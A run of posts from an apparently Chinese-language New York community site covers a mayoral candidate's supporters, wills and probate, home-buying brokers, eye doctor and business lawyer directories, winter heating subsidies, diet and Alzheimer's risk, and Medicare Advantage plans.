2021年11月2日是纽约市长的选举日,仅剩不足2周的时间。纽约街头志愿维护治安的非营利组织“守护天使”(Guardian Angels)创始人、共和党籍候选人斯利瓦(Curtis Sliwa)受到了越来越多华人的支持。斯利瓦誓言要“拯救纽约市”,“要把街道和地铁从犯罪手中夺回来!”。他曾批评白思豪给警察撤掉10亿美元预算。

10月17日,斯利瓦举办筹款餐会,支持者热情表达对斯利瓦的支持,并称赞他几十年来言行如一,与一般的政客不同。

纽约市长选举,共和党市长候选人斯利瓦(Curtis Sliwa)举行筹款活动。(The Epoch Times)

近期,纽约市的教育政策让市民感到很混乱,街头暴力也时有发生,共和党的华人支持者希望能借这次市长选举,将法律与秩序(law and order)、不分肤色的优质教育重新带回纽约。

优富商业联盟副会长廖安怡自小移民美国,她表示当时的教育教导学生“传统的价值观”,“就是我们要努力、勤劳更生”,而当时的环境是“小政府”,社会氛围“接受和包容不同的文化”,与现在盛行“取消文化”大不同。

“我之所以支持斯利瓦,是因为他言行如一;他从1979年成立‘守护天使’到现在,已经42年了。”廖安怡说,“如果一个人能坚持理想42年,那他是靠得住的。斯利瓦不像政客会讲很圆滑的话,这就是我支持他的原因。”

纽约市的社区运动人士周国东投身捍卫特殊高中考试与天才班有五年了,他指出斯利瓦的治安政策最受他青睐,“斯利瓦是去年疫情期间第一个出声支持警察的候选人”。

早在今年3月份,斯利瓦在宣布竞选纽约市长时就批评白思豪给警察撤掉10亿美元预算,他承诺,如果他当选市长,他就要恢复对警察局的拨款。他表示,“要拯救我们的城市,要给警察退款,把要街道和地铁从犯罪手中夺回来的!”

斯利瓦创建的“守护天使”目前在全球的130个城市有志愿者五千多人,纽约市本部有150人。在去年疫情爆发之后,“守护天使”是第一个呼吁保护亚裔市民不受仇恨犯罪侵犯的组织。

斯利瓦还表示,他若当选市长将会着手解决纽约市的游民问题。

2021-10-19 / by / in , , , ,
关于遗嘱(wills)的常见问题|美国纽约遗产规划律师 遗嘱认证

遗嘱(wills)和生前信托(Living Trust)是美国法律承认的两种主要的遗产规划工具。了解这两种法律文书包含的详细内容以及两者之间的区别,可以帮助在美国做遗产规划的朋友有效的管理和保护自己的资产,并确保自己的资产能够按照自己的意愿快速的分配。

什么是法律遗嘱(wills)?

遗嘱是一份法律文件,用书面的方式阐明您希望在过世后如何处理自己的遗产。它在经过法庭的遗嘱认证以后,可以帮助确保您的财产留给您指定的继承人。

设立遗嘱以后,在您还活着的时候,您可以随时修改它。例如,如果您的婚姻状况发生变化或您想更改受益人,都可以根据需要更新遗嘱的内容。

遗嘱在设立人过世后,需要经过法庭的遗嘱认证才能生效。遗嘱在法庭认证后成为公共记录,任何人都可以查询。

尽管遗嘱很重要,但许多美国人并没有遗嘱。盖洛普的一项研究发现 44% 的美国人报告有遗嘱。

如果请律师创建遗嘱,可能会收取大约 100 美元到 1,000 美元的费用,这取决于居住地 以及遗嘱内容的复杂程度。

相关文章:在美遗产规划必看,生前信托(Living Trust)全解析|遗嘱与生前信托的区别

设立遗嘱需要注意的一些问题

遗嘱在美国是受到法律保护的,理论上法官也会遵照遗嘱的内容分配遗产。可是立遗嘱也有一些规定很多人并不了解。

1.需要有在场的见证人

在亚洲的很多国家,立遗嘱不需要有证人。可是在美国一般需要有至少2位证人在场,证明设立遗嘱的人脑筋是清楚的,并且没有被强迫。

遗嘱设立人在证人面前签名并注明日期。证人可以不必知道遗嘱中的内容,只需知道这是遗嘱并且他们看到设立人签署了它。见证人必须在底部签名,并附上他们的地址以完成手续。

没有证人在场的遗嘱,如果收益人之间出现纠纷,在法庭上这种遗嘱比较容易被攻击。

2.设立遗嘱以后,财产分配的详情建议让受益人立即知道

有一些人立下遗嘱后,遗嘱的内容对收益人保密,那么在日后分配财产的时候就比较容易产生纠纷。如果所有的收益人都提前了解了遗嘱中财产的分配情况,即使有不满意的受益人,这份遗嘱也不容易受到攻击。

遗嘱设立人也有权对遗嘱的内容保密。

不设立遗嘱会怎样?

纽约州对资产的无遗嘱分配有非常具体的规定。如果有人在没有立遗嘱的情况下去世,根据纽约州的无遗嘱法,法庭会将遗产分配给过世者的配偶和未成年子女。如果没有这类亲属,其他家庭成员有权获得部分或全部遗产。

如果过世者和生前的配偶没有法律认可的结婚手续,或生活在“非传统关系”中,没有有效的遗嘱,根据纽约州的无遗嘱法,过世者的伴侣可能不会继承到任何财产。

可以更改或撤销我的遗嘱吗?

是的。起草遗嘱的人可以随时更改、撤销、修改遗嘱,只要他或她仍然有能力。

但是如果在您写下遗嘱之后,不应该对刚刚签署的遗嘱进行更改。这可能会致使您的遗嘱无效。您可以通过添加附则来更改遗嘱,该附则本身必须以与遗嘱本身相同的方式签署:由您在两名证人面前签署并注明日期。

另外,也可以写一个新的遗嘱,将您的所有更改合并到一个新文件中。进行重大更改建议与律师协商。

什么是遗嘱认证?

在纽约州,遗嘱认证是法院证明遗嘱有效的方法。法院必须确定是否有接受死者遗嘱的管辖权。在遗嘱认证过程中,让所有的收益人有机会质疑遗嘱。法院将指定一个人作为遗嘱执行人。遗嘱认证后,法院指定遗嘱执行人执行遗嘱的条款。

由谁保留遗嘱的原件?

大多数遗产规划律师负责保管客户的原始遗嘱和其他文件。他们通常能够更好地保护原件,以便在需要时可以找到它们。死者遗嘱中指定的受益人有权获得该遗嘱的副本。受益人也有权知道是否已申请遗嘱认证以及遗产管理处于哪个阶段。

本文的内容为公益性质的信息分享,不能被理解为是在提供法律专业意见。若需要法律意见或其他专业帮助,请咨询金牌资讯经验丰富的律师。

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2021-10-18 / by / in , ,
有钱了 您想做的第一件事是什麽?

买一套心仪的房子,组成一个温馨的家庭,享受人间的天伦之乐,这是具有传统理念的华人们梦寐以求的向往。

自由的世界,让您一展身手

我们都知道纽约是全世界金融、商业、资讯、科技和文化的中心,也是一个自由开放、公平竞争的场所,是最能施展您才华和体现人生价值的地方。当然它也是一个残酷竞争,优胜劣汰之地。
这也许就是为什么我们很多的华人想移民到此,在此买房的主要原因吧!
然而美国社会又是一个法治社会,它的一切运作都是在法治框架下进行,所以美国就有着非常完备的法律体系和详细的法律条文。
房产买卖当然也是如此,它也有着很多详细的条文规定。如果我们对这些条文不了解,在操作中很可能无意中会触犯到它,一旦触犯轻则遭罚款,重则还可能遇到法律纠纷,给自己造成很大的麻烦。那怎么办?去了解,可是在激烈的社会竞争中,一般的人是不可能拿出那么多时间和精力去详细了解、去做这件事情的。
为了解决这个问题,《金牌资讯》编辑清竹,在此为您出谋划策支上几招,希望能为您排忧解难,尽快顺利的实现您的愿望。
一,准备
当我们有了一个愿望想要买房时,我们就要开始了解它、关注它。逐步的开始做准备了!那么我们的准备从哪开始呢?

经纪人为您服务

二,房产经纪人
聘请房产经纪人,几乎是我们每一位买房者必须要做的一件事情。
房产经纪人他是一个撮合房地产买卖的专职人员,所以房产买卖这方面的渠渠道道对于他们来说,那可以说是了如指掌。
虽然这样说,可是房产经纪人在业务能力上还是有差别的;同时人品的好坏、办事细心与粗糙等等都会有所不同。如果能找到一个好的经纪人,不仅可以让您尽快买到满意的房子,同时还会给您节省一笔资金。
下面就让我们了解一下房产经纪人所起到的作用是什么?
a,经纪人会根据您的经济情况、个人爱好、房屋用途等等帮助您列出详细的一步步的清单,根据您的要求会找出许多套房屋供您挑选,也可以带您到实地去看房。
b,告诉您如何取得房屋贷款和贷款的步骤,哪个银行贷款贷得多,利率低等等。
C,因为经纪人都有营业执照,所以他们就有权利帮您返还一笔数量不等的佣金。这笔返还的佣金在纽约市是合法的,也就是说是受法律保护的。
但是返还佣金的百分比各是有差异的,按照规定,最高的返还率是2%。(比如您用100万买房,返还您的佣金就是2万),当然能返还多少那要看您跟卖方商量的结果而定,经纪人也能帮您多争取。
所以选择一位好的经纪人就很关键,这就靠买房的朋友自己去慧眼识真金了。
说到这,我知道您一定会问:那我聘请一位好的经纪人,是不是要花很多钱呀?其实不是这样的,您聘请经纪人的费用跟您一元钱的关系都没有,都是免费的。当然经纪人是不会白忙活的,他们所得到的费用全部都是由卖方支付的。
有朋友可能不解,为我服务,为什么还要让卖方付费呢?我告诉大家,这是规定。其实我们在这个社会中生存,会遇到许许多多不理解的规定。但规定就是规定,一旦定下了规矩,无论您理解或不理解,那都得按照这个规定去做,是吧?
三,推荐
当然作为您真诚的朋友,为了让您尽快顺利的买到称心如意的房子,清竹在此也给朋友们推荐几位从事经纪人行业几十年,有着丰富经验,而且口碑极好的经纪人。希望这些经纪人能为您更好的服务!

秦宴 (Qin, Yan), 地产经纪
New York State Licensed Broker,
前纽约大学教授, 经济学硕士导师, 房地产课程教授, 著名的经济学家。
电话:646-283-9285

曼哈顿房地产资深经纪Linda Tan
Licensed Associate Real Estate Broker
注册名称:曼哈顿房地产资深经纪人
简单介绍
谭琳达: 曼哈顿房地产资深经纪人
微信号: 6464795727 电话: 646-479-5727 电子邮箱: wtan@kianrealtynyc.com
90年代初来美至2006年,谭琳达在曼哈顿做IT相关的工作。在计算机网络公司做技术服务以及销售工作多年的经历中,琳达能耐心细致的了解客户的产品需求并能准确迅速为客户提供最恰当的方案,是一名深受客人喜爱的专业人士;在转行做房地产后,琳达成功的将多年与客人打交道的经验以及精益求精的工作态度转化为对房地产的深入研究,专心专精于纽约市和长岛的房地产买卖及租赁,她对待客人十分耐心细致, 无论交易金额大小,客人要求怎样繁复, 她都尽最大可能帮客人达成心愿;琳达也积极协助管理许多投资人在纽约的物业。琳达十分了解曼哈顿周边和长岛的房地产行情,精通房产交易流程,全程协助客人做好房屋买卖租赁的繁杂程序,是您值得信赖的房地产经纪人,她能让您在纽约的购房租房交易过程变得轻松愉快!

于思思Sisi Yu
电话:646-284-2766
http://www.nybesthomes.com
纽约百佳地产网 NY Best Homes Realty LLC ,纽约百佳地产于美国纽约长岛大颈镇及曼哈顿都设有办公室 ,分别为我们的客户提供最佳的服务。 我们地产代理是中国人(海外华人)-美国资深房产投资专家, 精通中英文 ,地产经验丰富 ,认真严谨 , 对市场信息了如指掌 ,办事效率高 ,市场研究彻底 ,立足于高科技前卫。我们的优势是拥有一个庞大的房地产数据库 , 几乎涵盖全纽约市 ,长岛的房地产市场 ,为华人提供重要地产信息和提供全方位投资置业服务。 我们服务的中国客户从纽约市,长岛, 曼哈顿到海外中国, 香港, 台湾, 新加波具有很好的口碑, 是顶尖优秀地产专家。

陈怡 纽约曼哈顿苏富比国际地产行
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十八年经验,精通新房,二手房,豪宅买卖。深知最新房市行情,办事效果一流。
免费估价曼哈顿,长岛,布鲁克林。

2021-10-18 / by / in ,
【金牌推荐】纽约眼科医生精选 | 视力检查 近视眼防治 青光眼 白内障手术

现代人的生活似乎越来越离不开电子产品。特别在疫情期间,人们线上购物、居家办公、网络课程等等,每天要花费大量时间近距离盯着屏幕,明知道会损伤视力却也无可奈何。假如发现自己视力下降,看东西越来越模糊,需要检查视力或配眼镜,那就需要看眼科医生了。下面我们为大家精选了纽约地区的眼科诊所,和华人眼科医生。

纽约法拉盛 马莱茵眼科诊所

——白内障 眼角膜 移植 人工晶体 植入 近视 视力 矫正 激光 屈光手术 PRK LASIK Evo ICL

电话:929-533-1633

诊所地址:36-16 Main St Floor 9, Flushing, NY 11354

马莱茵医生是一名资深眼科医生,纽约Envision Eye Group眼科诊所创始人和主治医师。

马医生完成了波士顿大学与其医学院联合的七年BA/MD项目,并在西奈山伊坎医学院接受了眼科住院医师培训,在此期间,她荣获首席住院医师职位,Alpha Omega Honor Society的成员。此后,在纽约眼耳医院深造,完成了角膜、外眼疾病和屈光手术的专科进修。

马莱茵医生能够运用飞秒激光进行的白内障手术、全层及部分厚度的角膜移植和各类激光屈光手术。作为一名积极的学术研究者,马医生在多个同行评审的医学期刊上发表文章,并在国际学术会议上展示其研究成果。

马医生目前还担任纽约眼耳医院西奈山的眼科临床副教授,积极参与眼科住院医师的手术培训和教学工作,连续多年获得教学奖。她能够流利地使用英语和普通话进行交流。马医生始终致力于通过专业的眼科服务帮助病人实现视力健康的目标。

纽约顶级眼科专家 法拉盛马莱茵眼科手术专科诊所 Envision Eye Group 专精白内障飞秒激光辅助FLACS、角膜移植、近视矫正手术PRK,LASIK,Evo ICL

马莱茵眼科手术专科诊所Envision Eye Care马莱茵医学博士(M.D.)纽约眼科专家 929-533-1633

纽约眼科医生 张敏医生-华人眼科专家

电话:917-621-9283

诊所地址:136-68 Roosevelt Ave, Suite CB  Flushing, NY 11354

纽约眼科医生张敏有二十余年眼科科研和临床工作经验。

张敏医生关注青少年视力,包括早期发现近视、斜视,以及矫正。

诊所提供干眼症,老年人青光眼、白内障的早期防治。如何消除佩戴隐形眼镜的风险。

张敏医生(眼科)917-621-9283

纽约法拉盛陈怡眼科博士-华人眼科医生

地址:140-20 Sanford Ave., Apt.1C , Flushing, NY 11358

电话:718-762-3838 718-715-1427

诊所提供儿童和成人眼镜检查、各类眼疾治疗:白内障丶青光眼丶高血压及糖尿病眼等,治疗近视丶弱视丶斜视。诊所提供多种框架眼镜及隐形眼镜。

接受各种医疗保险的免费验光和眼镜福利。

陈怡眼科博士 Advanced Eye Center – Amy Chen 718-762-3838 718-715-1427

纽约家庭眼科中心 法拉盛华人眼科医生 驾驶和学童视力检测

电话:347-348-8416

纽约家庭眼科中心主治:青光眼、白内障、糖尿眼病、干眼症、飞蚊症,近视眼预防和控制等;

诊所提供全方位眼科诊断及治疗;配制各类框式眼镜、隐形眼镜、CRT角膜塑形镜;青少年近视检查、成人交通局视力检查。为华人提供常见眼疾的诊治。接受多类医疗保险

法拉盛眼科 /纽约眼科医生/纽约家庭眼科中心

 

华伟眼科中心 纽约法拉盛华人眼科

地址:144-15 41st Ave, Flushing NY11355 (41st Ave 与Parsons Blvd路口)

电话: 917-563-1038

诊所治疗各类青少年和成人的眼科疾病,如眼镜过敏、干眼症、白内障、青光眼、计算机视觉综合症,并特别为青少年近视患者提供非手术角膜塑形治疗。  提供框架眼镜和隐形眼镜配置。

张伟医师是美国眼科视光协会会员及美国角膜塑形协会会员,拥有眼科学院博士学位。诊所提供纽约车管局(DMV)视力检查。张伟眼科诊所接受大部分医疗保险。自费者有折扣价。

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永明眼科 纽约法拉盛-华人眼科医生

电话:  212-227-8837

718-888-9838

地址:  2 Mott St., #206, New York, NY 10012

特色治疗白内障、 青光眼和各类眼科疾病。

永明眼科中-永明眼科中-212_227_8837

 

舒家兴医学博士 纽约曼哈顿 华人眼科专家

电话:  212-925-3825

地址:  17 Elizabeth St., #607, New York, NY 10013

舒家兴医生是美国名校毕业的医学博士,西奈山医学院讲师。任纽约西奈山医院、纽约眼、耳专科医院和纽约下城医院主治医生。

诊所采用先进的眼科仪器,精于青光眼、高血压病变、飞蚊症、糖尿病眼底病变、敏感症泪管阻塞、眼干、流眼水等。

镭射治疗视网膜、无须住院白内障手术。

舒家兴医学博士 DR. DAVID SHU (212)925-3825

 

黎基亘医学博士 纽约法拉盛 曼哈顿 华人眼科专家

法拉盛诊所电话:718-886-8318

地址:42-35缅街#3D ( +国银行楼上)

曼哈顿唐人街诊所电话:212-966-5880

地址:中央街139号金轮中心610室

黎基亘医学博士毕业于约翰霍普金斯大学,为纽约眼耳专科医院主治医师。

诊所采用最先进的手术方法为社区民众提供各类眼疾治疗

眼科专家黎基亘医学博士718-886-8318

 

纽约长岛眼科中心 艾姆赫斯特眼科中心 纽约华人眼科专家

电话: 718-205-EYES(3937)

地址:41-58 Judge Street, #CM2 175 Jericho Turnpike, #310

Elmhurst, NY 11373 Syosset, NY 11791

马娜, 医学双博士,Paragon CRT(Ortho-K)指定眼科医生。

整形眼科,神经眼科专科。

长岛眼科中心516-802-5656

2021-10-17 / by / in
纽约今冬取暖费或大涨 州府开放供暖补助申请

受到能源价格飙升的影响,预计今年冬天纽约的家庭取暖费将大涨。纽约州长霍楚尔(Kathy Hochul)承诺将向中低收入家庭提供超过3.73亿美元的取暖援助。该援助计划已经开放申请。

天然气价格飙升是主因

根据美国能源信息署的数据,约有一半的纽约家庭使用天然气取暖。纽约州公共服务厅预计,与去年冬天相比,今冬的家庭取暖费将增加21%,主要的原因是天然气期货价格持续走高。

美国能源情报署代理署长斯蒂芬·纳利(Stephen Nalley)表示:“随着我们度过疫情导致的经济衰退最严重阶段,能源需求的增长超过了供应的增长,世界各地的能源价格上升,将导致今年冬天美国家庭的能源支出增加。”

 

纽约今冬取暖费或大涨,州府开放供暖补助申请。 (The Epoch Times)

纽约州的公用事业公司——例如联合爱迪生公司(Con Edison)、纽约州电力和天然气公司(New York State Electric & Gas Corp.)和罗彻斯特燃气和电力公司(Rochester Gas & Electric)——预计今冬将为不同种类的冬季天然气供应平均每dekatherm(1个dekatherm相当于约一千立方英尺)支付约3.38美元。

相比较去年冬天,公用事业公司为每dekatherm支付约2.38美元。

今冬纽约的电价也将高过去年

预计今年冬季,纽约州电价也将高于去年冬季,尽管纽约州公共服务委员会(PSC)表示,商品价格可能因天气和其它条件而有很大差异。

为减少能源使用,PSC也采取行动减少国家电网下游服务中的天然气使用量,鼓励客户使用Nest恒温器等智能技术系统,在室外温度较高的时段相应的把恒温器调高,以降低消耗。

可以预见,今年可能是纽约州家庭取暖费用非常昂贵的一个冬天。

州府开放中低收入家庭申请取暖费补助

纽约州长霍楚尔(Kathy Hochul)日前宣布,提供超过3.73亿美元的家庭取暖援助。纽约州通过家庭能源援助计划(Home Energy Assistance Program, HEAP)向符合收入条件的纽约居民提供家庭取暖援助。该计划现在已经开放接受申请。

符合条件的房主和租房者可能会获得最高751美元的供暖援助,具体取决于他们的收入、家庭规模以及他们的房屋供暖方式。年收入低于6.3万美元的四口之家都有资格获得取暖费补助。

详情请访问:https://otda.ny.gov/programs/heap/contacts/

2021-10-16 / by / in , , , ,
【金牌推荐】2021最佳纽约商业律师 | 纽约商业诉讼 纽约商业合同纠纷律师 纽约劳工律师

一般的纽约商业诉讼,可能会涉及到商业环境中出现的所有类型的纠纷,包括违约案件、合伙/合资纠纷、集体诉讼、商业侵权、民事 RICO 索赔、违反信托责任指控和股东问题等等。 在过去十年间,纽约商业律师的跨地区、跨学科诉讼案件急剧增加,风险更高、案件也更复杂。

专业的纽约商业诉讼律师需要能够评估争议的是非曲直,并根据客户的法律和业务需求调整起诉或辩护的规模,顽强的为客户争取最好的结果。以下是给大家推荐的几位有中文服务、优秀的纽约商业律师。

最佳纽约商业律师–陈轶珉律师

陈轶珉律师事务所(Chen & Associates )

电话: 718-886-4858

地址: 39-15 Main St #5, Flushing, NY 11354

陈轶珉律师事务所,是一家基于纽约的综合性华人律师事务所。为国内和海外客户供诉讼、仲裁和非诉解决方案。

法律服务包括:不动产法,移民法,税收争议、和罚金减免谈判,有价证券法,知识产权法,公司法,并购收购,上市,国际私法等。

陈轶珉律师执业知识产权、公司法及民商事业务十多年,在美国大型律师事务所和精品律师事务所均有工作或合作经验,也因此了解和熟悉各种客户需求。陈轶珉律师直接经手和管理了超过2万件各国商标直接申请,5000件专利,5000件其它商标法律案件。他的代表客户包括但不限于阿玛尼,美国蓝带,吉列公司,意大利华伦天奴,中国一汽,LG 化学公司, 斯太尔重工,ITALY BELLDAN JOE, KOREA MORCARS GROUP, 等等。

赶房客律师/法拉盛商业律师/房客纠纷律师/ Flushing 房客纠纷律师/New York商业律师

最佳纽约商业律师–高开颺律师

高开颺律师事务所(Kai Gao Esquire P.C.)

电话:718-886-8241
地址:39-07 Prince St #6e, Flushing, NY 11354
位于: Prince Center

纽约法拉盛高开颺律师事务所,是一家权威律师楼。高开颺律师擅长建筑纠纷、商业合同纠纷、股东股权协议、房产工程建筑纠纷、公司成立买卖等,提供在线电话咨询服务,帮助各行各业的侨胞在美国立足,排解法律纠纷。

高开颺律师执业多年,积累了丰富的办案经验,主办各种房屋买卖,合同租约,商业交易,遗嘱信托,财产保护,与其他的民事和商业法律服务。

高开颺律师事务所有着强大的中文服务团队和专业资深律师‎。

相关文章请点击【金牌推荐】2021最佳纽约离婚律师 | 纽约华人离婚律师 纽约快速离婚

纽约最好地产纠纷律师718-886-8670高开颺律师事务所/专业建筑纠纷律师/房屋违建

最佳纽约商业律师–游爱虹律师

游爱虹律师事务所
Law Office of Aihong You
纽约地址:9 Mott Street, Suite 600, New York, NY 10013

新泽西地址:371 Hoes Lane, Suite 200, Piscataway, New Jersey 08854

电话:917-412-3606(纽约) 732-532-8862(新泽西)

传真:732-909-2214

网站:www.aihonglaw.com

游爱虹律师事务所专注于为客户提供劳务诉讼、商业诉讼、家事纠纷、遗嘱和信托、地产等方面的法律援助。游律师持有纽约州执照, 新泽西州执照, 各级联邦法院, 破产法院执照。为大纽约地区客户提供一站式法律帮助。

最佳纽约商业律师 | 纽约商业诉讼 纽约商业合同纠纷律师 纽约劳工律师 -游爱虹律师

游爱虹律师事务所/劳工诉讼/商业诉讼/家事纠纷 917-412-3603

最佳纽约商业律师–张钧律师

张钧律师事务所(Patrick Archer)

电话:(929) 380-7766
地址:13620 38th Ave STE 11G, Flushing, NY 11354
网站:https://www.parcherlaw.com/

张钧律师擅长的领域是房地产法和商业法,同时拥有纽约州和新泽西州的律师执照。

张钧律师事务所是纽约知名的律师事务所,位于纽约法拉盛,致力于为您提供及时,专业,可靠的法律服务。我们的律师都是有着多年经验的在美执业的律师。我们为你的地产交易,房地产投资,商业投资及并购提供最全面的法律服务。

纽约知名地产律师(929) 380-7766/张钧律师:美国专业的房地产律师

最佳纽约商业律师–王恒、高粹菲律师

王恒高粹菲联合律师事务所

电话:(732) 767-3020

地址:36 Bridge Street, Metuchen, NJ 08840

王恒高粹菲联合律师事务所是美国东岸纽约和新泽西地区华人社区极少数以诉讼为主要业务的跨州律师事务所。我们致力于向社区提供高质量的专业法律服务,并屡次成功代表中国企业进行跨国商业诉讼。

我们在纽约州曼哈顿(Manhattan, New York)和新泽西州中部莫塔顷市(Metuchen, New Jersey)分设办公室。多位中美律师善于处理大型诉讼,擅打大仗硬仗,具备丰富的法官审判和陪审团审判的双重经验。

王恒高粹菲联合律师事务所提供以诉讼业务为主的广泛的法律服务,包括民事诉讼、商业诉讼、股东纠纷、商业欺诈、违反合同、劳工法诉讼、债务纠纷、地产诉讼、建筑纠纷、产品责任、知识产权注册及诉讼、意外伤害、离婚诉讼、家庭暴力、刑事辩护、破产及债务重组、仲裁及调解、联邦诉讼、跨州诉讼、跨国诉讼等。

纽约/新泽西/欠薪律师/劳工律师 732-767-3020 纽约民事诉讼律师/纽约商业诉讼律师

最佳纽约商业诉讼律师–汤学武律师

汤学武律师楼(MICHAEL X. TANG, ESQ)

电话: 718-762-5300
地址 : 136-68 Roosevelt Ave, Suite 821, Flushing, NY 11354
网址:https://chinese.lawtang.com/

现今公司可能会在很多方面都会遇到不同的纠纷,无论哪种纠纷,其解决过程都极为复杂。商业纠纷的处理包含着大量的技术性问题,因此非常需要专业咨询和专家协助。除了商业诉讼和法律咨询,汤学武律师楼协助中国公司对美国公司做尽职调查,将商业纠纷中可能产生的风险降至最低。

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汤学武律师以及其团队的独特背景赋予我们能够处理中国和美国的交易中的复杂问题。 美国纽约汤学武律师事务所在商业欺诈诉讼和跨境交易还有企业上市并购方面有着丰富的成功经验。 本所亦为在美国的中小型企业主提供中国的法律和政策咨询。

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最佳纽约商业诉讼律师–杭剑律师

杭剑联合律师事务所

电话:718-353-8588
地址: 136-20 38th Ave #10g, Flushing, NY 11354
位于: 皇后穿越購物中心

杭剑联合律师事务所是一家专注劳动诉讼的精品律师事务所。我们专注处理拖欠加班费、最低工资,违法克扣小费,家政雇员超时劳动纠纷,歧视及骚扰等法律纠纷。

杭律师为客户提供有关雇佣协议起草和谈判的法律咨询,帮助雇主起草设计、实施和适用公司的人事政策和员工手册。他在州和联邦法院、仲裁庭、政府行政机关和其他机构前代理客户。

我们经验丰富的律师和专业支持团队精通两种语言,精通中文、西班牙语和韩语。

杭剑联合律师事务所718-353-8588 纽约超时工资

最佳纽约商业诉讼律师–中华律师楼

电话:646-248-2037
地址: 136-20 38th Ave Suite 9I, Queens, NY 11354
位于: 皇后穿越購物中心

王雪洁律师及其团队具有几十年丰富经验,拥有专业强大的律师团队,其勤业敬业的职业态度丶团队和谐的工作理念丶富有成效的执业成果,赢得了纽约华人及各界的充分肯定。

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最佳纽约商业诉讼律师–柯自明律师

柯自明律师楼 – Kuzmin & Associates

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网站:http://www.kuzminlaw.com/

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最佳纽约商业诉讼律师–朱&施联合律师楼

Law Office 朱&施联合律师楼

电话:212-279-5442
地址: 450 7th Ave #305, New York, NY 10123
预约: mblawus.com

本律师楼承办商业房地产部份包含:

房屋买卖丶生意买卖丶房契转名丶贷款申请丶公司成立/解散/上市/私募丶合并与收购丶商务契约丶

银行开户/信用卡丶银行证明书丶股东协议丶起草合同丶信用调查/身分调查丶酒牌申请丶长年法律顾问等等。

服务华裔社区三十年,除了个人案件,律师也经手无数公司行号的案子,举凡公司成立商业牌照申请、公司章程合约、以及银行贷款申请等等都十分在行,也经常担任许多大公司的法律顾问,代表客户辩护与提供法律谘询。资深商业房地产律师经验丰富。

以上最佳纽约商业律师(纽约商业合同纠纷律师、纽约劳工律师)排名不分先后。

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2021-10-14 / by / in ,
最新研究:这些天然食物 可降低阿尔茨海默病风险 | 认知能力下降 老年痴呆症 地中海饮食 得舒饮食法 麦得饮食法

美国CDC数据显示,2020年美国有580万名阿尔茨海默病(Alzheimer’s disease,老年痴呆症)患者。年龄65岁以上者,患阿尔茨海默病的则每5年增加一倍。按照这个趋势,估计到2060年,美国老年痴呆症患者将达到目前数字的三倍,即1400万人。

2010 年,用于治疗阿尔茨海默病的费用预计为1590 至 2150 亿美元。到 2040 年,治疗费用将跃升至每年 3790至 5000 亿美元之间。不同于心脏病和癌症的死亡率有逐年下降的趋势,老年痴呆症引起的死亡率却在上升。

目前,许多患有阿尔茨海默病的人在家中由亲人照顾。照顾老年痴呆症患者可谓是一项长期而艰巨的任务。最令人沮丧的是,目前为止,还没有有效的医疗方法。科学家们尚未完全了解导致阿尔茨海默病的原因。不过研究人员不断在探索方案,希望能找到降低认知能力下降的有效方法。

芝加哥拉什大学医学中心(Rush University Medical Center)的一个团队发现,麦得饮食法(MIND Diet)可使老年人认知能力下降速度减慢,并降低老年痴呆症风险。

麦得饮食法是指地中海饮食法加上得舒(DASH)饮食法,得舒饮食法被认为有益于控制高血压。

地中海饮食是现代被营养学家认识到的一种健康饮食。地中海地区及国家的传统食物的金字塔结构中包括:

  • 大量的橄榄油、豆科植物、谷物、蔬菜和水果
  • 适量的鱼、红酒、乳制品
  • 少量的肉制品

地中海饮食被营养学家认为是健康饮食

得舒饮食强调通过摄取富含镁、钙、钾的食物,同时多补充膳食纤维、不饱和脂肪酸和蛋白质,减少脂肪类中的饱和脂肪酸和胆固醇摄入,来达到降低血压的目的。

得舒饮食法可降低血压

 

饮食与认知能力下降症状的关系

拉什记忆与衰老项目(MAP)的研究始于1997年。从2004年开始,该项目的研究人员跟踪观察了569名,年龄65岁以上的芝加哥地区的退休人员。

研究人员每年向参与者提供一份自我管理的食物调查表,用来评估这些老人家对麦得饮食的遵守状况,直到其去世。参与者同意在死亡时捐献自己的大脑。

研究人员分析了饮食数据、参与者生前的年度认知测试和完整的尸检数据,并重点关注阿尔茨海默病,也就是老年痴呆症,研究大脑的蛋白质沉积的状况。科学家发现,阿尔茨海默氏病的标志是淀粉样斑块和神经纤维结在大脑中沉积,导致神经元损伤,最终造成认知障碍。

通过对参与者的饮食习惯分析,研究人员发现,那些最坚持麦得饮食的人显示出来的认知能力下降症状最少。

坚持麦得饮食的人认知能力下降症状最少

研究人员认为,麦得饮食可能通过其富含抗氧化剂、抗炎和神经保护的食物成分,包括绿叶蔬菜、浆果、坚果、葡萄酒、豆类、鱼和家禽,对大脑健康作出贡献。

由于参与者主要由白人志愿者组成,研究团队也指出了研究的局限性。

另外,美国爱荷华州立大学(Iowa State University)的研究人员,分析了1,787名年龄介于46至77岁之间的成年人,收集并研究他们的饮食调查问卷。

今年4月发布的一项研究结果显示,降低与年龄相关的认知能力问题,奶酪是最具保护性的食物。并且,每天饮用适量的红酒也能改善认知能力,每周食用羊肉能改善长期认知能力。而过量的食盐则会增加认知能力下降。

研究人员还发现,个人携带的遗传因素很重要,有些人似乎不会受到阿尔茨海默氏症的影响,而有些人受到这种疾病影响的风险较高。

研究人员希望通过饮食方式的改善,来了解这种疾病,并为人们带来改善老年痴呆症的方法。

2021-10-13 / by / in
美国联邦红蓝卡 多合一医疗保险 红蓝卡优势计划 | 传统红蓝卡替代计划 福利 自付费用 注册时间

红蓝卡优势计划Medicare Advantage是美国传统红蓝卡的替代计划,也称为是红蓝卡C部分。大部分的优势计划将红蓝卡A部分、B部分以及处方药D部分合为一个计划,是红蓝卡多合一的医疗保险计划。

红蓝卡优势计划Medicare Advantage是传统红蓝卡的替代计划

红蓝卡优势计划是由Medicare许可,私人保险公司经营的医疗保险计划。参加优势计划的前提是您已经注册了红蓝卡A和B部分。

红蓝卡优势计划福利

红蓝卡优势计划的福利会替代传统红蓝卡的福利。参加优势计划以后,您就不需要再用到传统的红蓝卡了。大部分的优势计划还会包括传统红蓝卡不覆盖的医疗福利,比如眼科、牙科、健身等。

参加红蓝卡优势计划后,看医生需要按医疗计划所规定的,网络内的清单选择医院和医生。有些优势计划也可以选择网络外的医生和医院,但需要支付很高的费用。

红蓝卡优势计划有各种形式,可以选择的计划非常多。比如HMO计划、 PPO计划、 PFFS计划、 SNP计划,其中最常用的是HMO和PPO计划。那么它们的区别有哪些呢?

HMO计划

  • 只能选择网络内的医生和医院,不报销网络外的医院或医生的费用,除非是紧急急诊。
  • 通常会要求选择一名初级医生,家庭医生(PCP,primary care physician)。
  • 看专科医生需要家庭医生转诊。

PPO计划

  • 无需指定的家庭医生。
  • 看专科医生不需要转诊。
  • 包含网络内和网络外的医生和医院,看网络外的医生需要支付较高的费用。

